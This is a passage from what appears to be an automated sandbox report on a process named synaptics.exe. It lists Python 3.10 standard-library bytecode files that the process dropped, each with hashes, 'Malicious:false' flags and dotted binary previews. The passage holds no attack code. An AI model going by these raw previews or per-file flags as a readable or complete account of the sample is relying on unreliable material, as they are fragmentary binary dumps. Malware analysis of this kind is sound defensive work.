adds a 'defect' to.the current message. Defects are just instances that live on the message.object's .defects a

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\__pycache__\header.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:E68A23A0CAA2D108F9339779D2E59009
              SHA1:E2CBD7918D5518876F7E73B60763278D30A3C6C2
              SHA-256:6160FD42CB8A4EFBE139025B6E6A20F1610A11C6666B00857CD21C39DCE23926
              SHA-512:526CCB87113FE8DF3020EDF6C5EF5108C5FF57A07AE2245109331A302CE8B1AF9800EDBDEE273EEA87F8AF3F08E59D6CD9D96F25B35201EC4C15E597AE9AAACA
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dh`.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...e.j.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.d...Z.e.d...Z.e...d.e.j.e.j.B...Z.e...d...Z.e...d...Z.e.j.j.Z.d.d...Z.....d.d.d...Z.G.d.d...d...Z.G.d.d...d...Z G.d.d...d.e!..Z"d.S.).z+Header encoding and decoding functionality.)...Header..decode_header..make_header.....N)...HeaderParseError)...charset..... ..... z. ...N...z. ...us-asciiz.utf-8ai.... =\? # literal =?. (?P<charset>[^?]*?) # non-greedy up to the next ? is the charset. \? # literal ?. (?P<encoding>[qQbB]) # either a "q" or a "b", case insensitive. \? # literal ?. (?P<encoded>.*?) # non-greedy up to the next ?= is the encoded string. \?= # literal ?=. z.[\041-\176]+:$z.\n[^ \t]+:c....................C...s....t.|.d...r.d.d...|.j.D...S.t...|...s.|.d.f.g.S.g.}.|.....D.]A}.t...|...}.d.}.|.r^|...d...}.|.r5|.....}.d.}.|.r?|...|.d.d.f.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\__pycache__\iterators.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:B37BC7C37FDCEA9956AD848481C62753
              SHA1:00C779492D67ED3E971AFED4CEA75FD8FFF5D9E2
              SHA-256:1C134A34CB2D6263057EB5B0A92CC15935FBD0B63F0C9069284D6E8F665A7FC7
              SHA-512:85E12A4DC5F28580C2598B5A38E1B2575C203D6E902AA67F66D46B1DD6CCD3484AC41A5B0136BBDF5AA29A98B7B59B55569AAD680D944A867E48DCD97C668AA5
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...sJ...d.Z.g.d...Z.d.d.l.Z.d.d.l.m.Z...d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.).z1Various types of useful iterators and generators.)...body_line_iterator..typed_subpart_iterator..walk.....N)...StringIOc....................c...s4.....|.V...|.....r.|.....D.].}.|.....E.d.H...q.d.S.d.S.).z.Walk over the message tree, yielding each subpart... The walk is performed in depth-first order. This method is a. generator.. N)...is_multipart..get_payloadr....)...self..subpart..r.....=C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\iterators.pyr........s..................r....Fc....................c...s8.....|.....D.].}.|.j.|.d...}.t.|.t...r.t.|...E.d.H...q.d.S.).z.Iterate over the parts, returning string payloads line-by-line... Optional decode (default False) is passed through to .get_payload().. )...decodeN).r....r......isinstance..strr....)...msgr....r......payloadr....r....r....r...."...s..................r......textc....................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\__pycache__\message.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:6D769C95E012C9BB9F96A05DEE28E031
              SHA1:2D7817D965071284BDF0F1EA2F6E63F85DE8831A
              SHA-256:ADB059EB3655FC192B8CDC961A2332C090B59B9A041CA2EA7C4B4A980D699A3A
              SHA-512:611B0C12370A46A29DA04CAFDD2CDFBAD183B9325D95185DA4026C2C23F29DEA87527787057A17A8E3A2C66E9C40ABEF406DCBA11A2C18B4911BB1E399942D23
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-di........................@...s....d.Z.d.d.g.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.Z.d.Z.e...d...Z.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).z8Basic message object for the email package object model...Message..EmailMessage.....N)...BytesIO..StringIO)...utils)...errors)...Policy..compat32....charset)...decode_bz.; z.[ \(\)<>@,;:\\"/\[\]\?=]c....................C...s4...t.|.....d...\.}.}.}.|.s.|.....d.f.S.|.....|.....f.S.).N..;)...str..partition..strip)...param..a..sep..b..r.....;C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\message.py.._splitparam....s............r....Tc....................C...s....|.d.u.r^t.|...d.k.r^t.|.t...r&|.d.7.}.t...|.d...|.d...|.d.....}.d.|.|.f...S.z.|...d.....W.n...t.yG......|.d.7.}.t...|.d.d...}.d.|.|.f.....Y.S.w.|.sOt...|...rXd.|.t...|...f...S.d.|.|.f...S.|.S.).a~...Convenience function to format and return a key=value pair... T

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\__pycache__\parser.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:2DFB071752C4E1BB4C294D6F5C15B097
              SHA1:F4CE27F0400D7ED2F66A3FD5E46C92E233AD464B
              SHA-256:0ED14FE51F7F38DE22C66AC03588F195968CBFB7354908A1FDF49565DFF729AC
              SHA-512:998226E366E85D2E6775DD774CE59AE39537401CD745C617E20D856E8B1090EBE9812021FE7EDD165BE61CE1D7A9C7A6A18BFB44EBCB446349741EA9CEB490AA
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d4........................@...sx...d.Z.g.d...Z.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.d.S.).z-A parser of RFC 2822 and MIME email messages.)...Parser..HeaderParser..BytesParser..BytesHeaderParser..FeedParser..BytesFeedParser.....)...StringIO..TextIOWrapper).r....r....)...compat32c....................@...s0...e.Z.d.Z.d.e.d...d.d...Z.d.d.d...Z.d.d.d...Z.d.S.).r....N....policyc....................C...s....|.|._.|.|._.d.S.).a....Parser of RFC 2822 and MIME email messages... Creates an in-memory object tree representing the email message, which. can then be manipulated and turned over to a Generator to return the. textual representation of the message... The string must be formatted as a block of RFC 2822 headers and header. continuation lines, optionally preceded by a `Unix-from' header. The. header block is terminated either by the end of the string or by a. blank

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\__pycache__\quoprimime.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:579F81B64FA1E42166D6D434782DC9EE
              SHA1:1C005B115D8445B7188B0931918A1C7CDA74F4E8
              SHA-256:B3CDA20007DA1A38EE07B0472ADE5279031BB4407473500B9BADA93A1AEC7997
              SHA-512:3C1185FAFFF6F6AD7622CA95C0BE01441BDD9BB1C71505AF97CD9AF52758C9A6EAD5D1C6991B455F70A142E9CECB4A9060D77DD1DD362307C5B0A46BC3A667EE
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.'.......................@...sF...d.Z.g.d...Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.Z.d.Z.d.Z.d.d...e.d...D...Z.e.d.d.....Z.e.d.d.....Z.d.e...d.....e...d.....D.].Z.e.e...e.e.<.q;d.e.e.d...<.d.D.].Z.e.e...e.e.<.qLd.d...Z.d.d...Z.d.d...Z.d.d...Z.d+d.d...Z.d.d...Z.d.d...Z.d,d.d ..Z.e.d.d.....Z.d!D.].Z.e.e...e.e.<.q.d"e.f.d#d$..Z.e.f.d%d&..Z.e.Z.e.Z.d'd(..Z.d)d*..Z d.S.)-aF...Quoted-printable content transfer encoding per RFCs 2045-2047...This module handles the content transfer encoding method defined in RFC 2045.to encode US ASCII-like 8-bit data called `quoted-printable'. It is used to.safely encode text that is in a character set similar to the 7-bit US ASCII.character set, but that includes some 8-bit characters that are normally not.allowed in email bodies or headers...Quoted-printable is very space-inefficient for encoding binary files; use the.email.base64mime module for that instead...This module provides an interface to encode and decode both headers and bodies.with quoted-p

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\__pycache__\utils.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:A3503133B7140996A1FDD3A386F47B45
              SHA1:2F6CCE062662BE135835F36AC3695884D0BED7C3
              SHA-256:2C4A5310B23BE91F6D754D414C95015FBDD123C2842C895443E0075B75FF6E91
              SHA-512:4B1B1BC846FA4FCA8DBBE598C31AB1A819AACE88C47A53FA441F517A8D181C8935CA58896E644070761DF3FE006A5FC00E3DEF206B5853F1335B8610B888B85B
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.5.......................@...sT...d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.Z.d.Z.d.Z.d.Z.d.Z.e...d...Z.e...d...Z.d.d...Z.d.d...Z.d5d.d...Z.d.d...Z.d.d...Z d6d.d...Z!d7d.d...Z"d8d.d ..Z#d!d"..Z$d#d$..Z%d%d&..Z&d'd(..Z'd8d)d*..Z(e...d+e.j)..Z*d,d-..Z+.../d9d0d1..Z,d:d3d4..Z-d.S.);z.Miscellaneous utilities.)...collapse_rfc2231_value..decode_params..decode_rfc2231..encode_rfc2231..formataddr..formatdate..format_datetime..getaddresses..make_msgid..mktime_tz..parseaddr..parsedate..parsedate_tz..parsedate_to_datetime..unquote.....N)...quote)...AddressList).r....).r....r......_parsedate_tz)...Charsetz., ..z.....'z.[][\\()<>@,:;".]z.[\\"]c....................C...s$...z.|.......W.d.S...t.y.......Y.d.S.w.).z8Return True if s contains surrogate-escaped binary data.FT)...encode..UnicodeEncodeError)...s..r.....9C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\utils.py.._has_surrogates3...s...

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\encodings\__pycache__\__init__.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:2EAC65E63C4D85A2021938092A9C0369
              SHA1:80568A9550058FF0679CC9E16D3EBA44A46B8F91
              SHA-256:C05B29F3B0DFA06557A553478307233FDE25DEE896D33B998F2BDD723922F76B
              SHA-512:CB48D51BBDC83271C08A6FFCD5C1BCC45480E005A4EFF75344FF4441DDA82B77DFDAAD2B7806E4C7A89D11415A6100814B4D46CD3783524EA4BD06A8E3335235
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...i.Z.d.Z.d.g.Z.e.j.Z.G.d.d...d.e.e...Z.d.d...Z.d.d...Z.e...e.....e.j.d.k.r@d.d...Z.e...e.....d.S.d.S.).a2... Standard "encodings" Package.. Standard Python encoding modules are stored in this package. directory... Codec modules must have names corresponding to normalized encoding. names as defined in the normalize_encoding() function below, e.g.. 'utf-8' must be implemented by the module 'utf_8.py'... Each codec module must export the following interface:.. * getregentry() -> codecs.CodecInfo object. The getregentry() API must return a CodecInfo object with encoder, decoder,. incrementalencoder, incrementaldecoder, streamwriter and streamreader. attributes which adhere to the Python Codec Interface Standard... In addition, a module may optionally also define the following. APIs which are then used by the package's codec search function:.. * getaliases() -> sequence of enc

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\encodings\__pycache__\aliases.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:B7011DCC8010A71B8A230B0A2574C1C2
              SHA1:431CAA4ABC8E77C370852F6831961A54E86A5517
              SHA-256:572BDF5C57B52B23217A344655C60CBA665B85C869B9CB817CF2FCF4A69BAE4C
              SHA-512:620674DDBFB31FEA8F03DC1D81D469ACEF30C4BF61980CC927768DAFF1D920844926A20308F36EBFDD33A8A443C9FDC26407F3E01973513DD7910C647CE77157
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dd?.......................@...s....d.Z.i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d d...d!d...d"d#..d$d#..d%d#..d&d'..d(d'..d)d'..d*d'....i.d+d,..d-d,..d.d/..d0d/..d1d2..d3d2..d4d5..d6d5..d7d8..d9d8..d:d;..d<d;..d=d>..d?d>..d@dA..dBdA..dCdD....i.dEdD..dFdG..dHdG..dIdJ..dKdJ..dLdJ..dMdN..dOdN..dPdN..dQdN..dRdS..dTdS..dUdS..dVdW..dXdW..dYdW..dZdW....i.d[dW..d\d]..d^d]..d_d]..d`da..dbda..dcda..ddde..dfde..dgde..dhdi..djdi..dkdi..dldm..dndm..dodm..dpdq....i.drdq..dsdq..dtdu..dvdu..dwdu..dxdy..dzdy..d{dy..d|dy..d}d~..d.d~..d.d~..d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d..d.d..d.d..d.d..d.d..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\encodings\__pycache__\cp1252.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:F6FFB5C95770326FBD9930DE582E4564
              SHA1:E8FAC8A707246CB5AE632683BFD963B767206A4C
              SHA-256:ACBFD1A4241871C46859D641F5A8F4B9F38D8B77B0A8D83831597A7F8ED43EDF
              SHA-512:AB1735FDD962926BE38C932F1C92E0DBDDA170E59A7C01CD5C1F4D73F58CF42D981F6CF8DD1E30F41CB53B772DA2CE92AB0A206BD1C1812E2B5C2350D00CB1A1
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.5.......................@...s....d.Z.d.d.l.Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.e.j...Z.G.d.d...d.e.e.j...Z.d.d...Z.d.Z.e...e...Z.d.S.).zv Python Character Mapping Codec cp1252 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1252.TXT' with gencodec.py........Nc....................@...s ...e.Z.d.Z.d.d.d...Z.d.d.d...Z.d.S.)...Codec..strictc....................C........t...|.|.t...S...N)...codecs..charmap_encode..encoding_table....self..input..errors..r.....>C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\encodings\cp1252.py..encode...........z.Codec.encodec....................C...r....r....).r......charmap_decode..decoding_tabler....r....r....r......decode....r....z.Codec.decodeN).r....)...__name__..__module__..__qualname__r....r....r....r....r....r....r........s..........r....c....................@........e.Z.d.Z.d.d.d...Z.d.S.)...IncrementalEncoderFc....................C........t...|.|.j.t...d...S...Nr....).r....r....r....r......r....r......fina

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\encodings\__pycache__\idna.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:DA1FDD77BD091E2C9C038D6AA3647291
              SHA1:2269576E5724BC29FAE708730B4F44D60751DD46
              SHA-256:ED396824CB2B971DF53B9472CBA39941800C5CD83617C00A0CFC4C43E5759172
              SHA-512:7FE030AFC0A17962626E1B984C392A0134366EA46CD5FD8D49A93A296752C3978789DBE3D6811D66BAF8866D8EC6FB792BE5343138CA672E9B8F6D0B884FCA5B
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.$.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e...d...Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.e.j...Z.G.d.d...d.e.e.j...Z.d.d...Z.d.S.)......N)...ucd_3_2_0u....[....]s....xn--z.xn--c....................C...s....g.}.|.D.].}.t...|...r.q.|...t...|.......q.d...|...}.t...d.|...}.|.D.]5}.t...|...sQt...|...sQt...|...sQt...|...sQt...|...sQt...|...sQt...|...sQt...|...sQt...|...rWt.d.|.......q"d.d...|.D...}.t.|...r|t.d.d...|.D.....rpt.d.....|.d...rx|.d...s|t.d.....|.S.).N....NFKCz.Invalid character %rc....................S...s....g.|.].}.t...|.....q.S...)...stringprepZ.in_table_d1.....0..xr....r.....<C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\encodings\idna.py..<listcomp>)...s......z.nameprep.<locals>.<listcomp>c....................s...s......|.].}.t...|...V...q.d.S.).N).r....Z.in_table_d2r....r....r....r......<genexpr>1...s........z.nameprep.<locals>.<genexpr>z.Violation of BIDI requirement 2r.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\encodings\__pycache__\utf_8.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:6849251F4E54EB27F7BEB1F89213E292
              SHA1:BD161827ACF923BB62722CFBE731F10084B8C0F2
              SHA-256:49AE6F90D8224D3585E716A1E083944CF8E80E9AEBBE6A9BC616515C7AAE6597
              SHA-512:201595E54C206E8A1AB6433C728659FA5CCFD53BCE900A04043E06739A44DC565CFC817E268390BC1597DC5A015521CC6C72A7CFA58B59CE69DC434C19C39A25
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...sp...d.Z.d.d.l.Z.e.j.Z.d.d.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.d.d...Z.d.S.).z. Python 'utf-8' Codec...Written by Marc-Andre Lemburg (mal@lemburg.com)...(c) Copyright CNRI, All Rights Reserved. NO WARRANTY........N..strictc....................C...s....t...|.|.d...S.).NT)...codecs..utf_8_decode)...input..errors..r.....=C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\encodings\utf_8.py..decode....s......r....c....................@...s....e.Z.d.Z.d.d.d...Z.d.S.)...IncrementalEncoderFc....................C...s....t...|.|.j...d...S.).Nr....).r......utf_8_encoder....)...selfr......finalr....r....r......encode....s......z.IncrementalEncoder.encodeN).F)...__name__..__module__..__qualname__r....r....r....r....r....r........s........r....c....................@........e.Z.d.Z.e.j.Z.d.S.)...IncrementalDecoderN).r....r....r....r....r......_buffer_decoder....r....r....r....r.................r....c....................@...r.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\http\__pycache__\__init__.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:D54FEB3243F7164C52A4FF724765974D
              SHA1:E64927435F1714BFAD41176E55C0C07F0C1017A5
              SHA-256:7429FECE73C6EDF749B018059B1357EB546A513375E3241075F1244587B0B0A0
              SHA-512:0DBF2D0593DBE9C5224091D4B1CE8ED284BC0EE6E7646A8028EE8D775CB8064D391765A26F02A1B6AB8D5B7980E4389F3F3AAD2565AB13F6B0C2B35273B5827F
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s&...d.d.l.m.Z...d.g.Z.G.d.d...d.e...Z.d.S.)......)...IntEnum..HTTPStatusc....................@...s....e.Z.d.Z.d.Z.dDd.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d Z d!Z!d"Z"d#Z#d$Z$d%Z%d&Z&d'Z'd(Z(d)Z)d*Z*d+Z+d,Z,d-Z-d.Z.d/Z/d0Z0d1Z1d2Z2d3Z3d4Z4d5Z5d6Z6d7Z7d8Z8d9Z9d:Z:d;Z;d<Z<d=Z=d>Z>d?Z?d@Z@dAZAdBZBdCS.)Er....aG...HTTP status codes and reason phrases.. Status codes from the following RFCs are all observed:.. * RFC 7231: Hypertext Transfer Protocol (HTTP/1.1), obsoletes 2616. * RFC 6585: Additional HTTP Status Codes. * RFC 3229: Delta encoding in HTTP. * RFC 4918: HTTP Extensions for WebDAV, obsoletes 2518. * RFC 5842: Binding Extensions to WebDAV. * RFC 7238: Permanent Redirect. * RFC 2295: Transparent Content Negotiation in HTTP. * RFC 2774: An HTTP Extension Framework. * RFC 7725: An HTTP Status Code to Rep

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\http\__pycache__\client.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:C5FBE62F60AE3FD0688F195C7A171310
              SHA1:48864D2C513B39A2C51698081A2C6676B0A145C4
              SHA-256:0B0F63C3D5A7598F952A630265C52DFBCBB4E72AEE2FF99829F3C67C94230E37
              SHA-512:0AA78B14BD0A45F218896301AC9A55C850D80E2AC01218B01369C7973D497D2DACBB852625B6FC58C21C0741214932278BB3C06EF73A6551320D293C537CD031
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...sP...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.....e.j.j.....d.d...e.j.j.....D...Z.d.Z.d.Z.e...d...j.Z.e...d...j Z!e...d...Z"e...d...Z#h.d...Z$d?d.d...Z%G.d.d...d.e.j&j'..Z(d.d...Z)e(f.d.d...Z*G.d.d...d.e.j+..Z,G.d.d ..d ..Z-z.d.d.l.Z.W.n...e/y.......Y.n.w.G.d!d"..d"e-..Z0e..1d"....G.d#d$..d$e2..Z3G.d%d&..d&e3..Z4G.d'd(..d(e3..Z5G.d)d*..d*e3..Z6G.d+d,..d,e3..Z7G.d-d...d.e3..Z8G.d/d0..d0e3..Z9G.d1d2..d2e3..Z:G.d3d4..d4e:..Z;G.d5d6..d6e:..Z<G.d7d8..d8e:..Z=G.d9d:..d:e3..Z>G.d;d<..d<e3..Z?G.d=d>..d>e@e>..ZAe3ZBd.S.)@a....HTTP/1.1 client library..<intro stuff goes here>.<other stuff, too>..HTTPConnection goes through a number of "states", which define when a client.may legally make another request or fetch the response for a particular.request. This diagram details these state transitions:.. (null). |. | HTTPConnection(). v. Idle. |. | putr

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\json\__pycache__\__init__.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:7FCDDD10B88B323BD0D0E62193187E91
              SHA1:E59ED7F394D372E6089D046F7C5F6C3DD19358C2
              SHA-256:922D5A54EAEC739C54EFAACE61D806A9061B7413835EDD5C1F7599DC770BDD2F
              SHA-512:0242184E0B094EB104DF33F454EBB2DD625E94D126EDBD17DBC1DC923AAE339EDF4580184C453F8CD11686A2CE37A439A5868CF9416C97CDA3489B44F0CD3C92
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d+8.......................@...s....d.Z.d.Z.g.d...Z.d.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.Z.e.d.d.d.d.d.d.d.d...Z.d.d.d.d.d.d.d.d.d.d...d.d...Z.d.d.d.d.d.d.d.d.d.d...d.d...Z.e.d.d.d...Z.d.d...Z.d.d.d.d.d.d.d...d.d...Z.d.d.d.d.d.d.d...d.d...Z.d.S.).a....JSON (JavaScript Object Notation) <https://json.org> is a subset of.JavaScript syntax (ECMA-262 3rd edition) used as a lightweight data.interchange format...:mod:`json` exposes an API familiar to users of the standard library.:mod:`marshal` and :mod:`pickle` modules. It is derived from a.version of the externally maintained simplejson library...Encoding basic Python object hierarchies::.. >>> import json. >>> json.dumps(['foo', {'bar': ('baz', None, 1.0, 2)}]). '["foo", {"bar": ["baz", null, 1.0, 2]}]'. >>> print(json.dumps("\"foo\bar")). "\"foo\bar". >>> print(json.dumps('\u1234')). "\u1234". >>> print(json.dumps('\\')). "\\". >>> print(json.dumps({"c": 0, "b": 0, "a": 0}, sort_keys=True)). {"

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\json\__pycache__\decoder.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:5B47F4DABB8FDA9538A24D0B3AD39338
              SHA1:133D926A81266B59E7D58F5815FE5E41E05E3970
              SHA-256:B457DB1E4097D217D8D0E3E2F1FBF9AA12EA1D20434D614F4021250DCFD85623
              SHA-512:FC735E86D2B608FBB007E495FF69DA507FF1F89F79987B476B8183916F88AA20FDB6017FA23AB2A33CBF44B279D2F114B922476A48F0A297E6018EF1992CA97D
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.2.......................@...s....d.Z.d.d.l.Z.d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.y.......d.Z.Y.n.w.d.d.g.Z.e.j.e.j.B.e.j.B.Z.e.d...Z.e.d...Z.e.d...Z.G.d.d...d.e...Z.e.e.e.d...Z.e...d.e...Z.d.d.d.d.d.d.d.d.d...Z.d.d...Z.d.e.e.j.f.d.d...Z.e.phe.Z.e...d.e...Z.d.Z.d.e.j.e.f.d.d...Z.e.j.e.f.d.d ..Z.G.d!d...d.e...Z.d.S.)"z.Implementation of JSONDecoder......N)...scanner)...scanstring..JSONDecoder..JSONDecodeError..nan..infz.-infc....................@...s ...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.S.).r....a ...Subclass of ValueError with the following additional properties:.. msg: The unformatted error message. doc: The JSON document being parsed. pos: The start index of doc where parsing failed. lineno: The line corresponding to pos. colno: The column corresponding to pos.. c....................C...sb...|...d.d.|...d...}.|.|...d.d.|.....}.d.|.|.|.|.f...}.t...|.|.....|.|._.|.|._.|.|._.|.|._.|.|._.d.S.).N...r.........z.%s: line %d column %d (char %d))...count..rfind..ValueE

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\json\__pycache__\encoder.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:CA5F976430E3AFF9431D7A56AF63202C
              SHA1:EF3842724CA5BCBDA3C5A96861EE62D13668AFC5
              SHA-256:AADA8501F6B651BC4CB112C7CE9FB53F7E0398A65D4553AC2CCC67C39978CC00
              SHA-512:41A52059F9F9DB63ACCD4406D049BDD3C60BC81E76BAAF9E2B590FC0F126E73D1333937E9B80E2716C02D833C2A0F4D23C97F744477417403451182F4E75A488
              Malicious:false
              Reputation:unknown
